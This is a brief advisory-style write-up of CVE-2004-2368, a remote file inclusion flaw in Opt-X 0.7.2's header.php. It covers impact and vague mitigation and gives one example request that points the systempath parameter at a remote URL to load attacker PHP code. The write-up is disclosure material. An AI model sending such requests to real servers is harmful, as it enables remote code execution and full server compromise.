CVE-2004-2368

Vulnerability

PHP remote file inclusion vulnerability in header.php in Opt-X version 0.7.2 allows remote attackers to execute arbitrary PHP code. The vulnerability exists because remote users can influence the systempath variable within the header.php module [1].

Exploitation

An attacker can exploit this vulnerability by sending a crafted request to a vulnerable Opt-X installation. The attacker needs to control the systempath parameter in the URL, setting it to a remote URL pointing to malicious PHP code. For example, http://www.example.com/path_of_optx/includes/header.php?systempath=http://www.example.com/ [1].

Impact

Successful exploitation allows a remote attacker to execute arbitrary PHP code on the vulnerable server. This could lead to a full compromise of the server, depending on the privileges of the web server process.

Mitigation

Opt-X version 0.7.2 is affected. No specific patched version or workaround is disclosed in the available references. It is recommended to upgrade to a non-vulnerable version if available, or to disable the affected functionality if possible.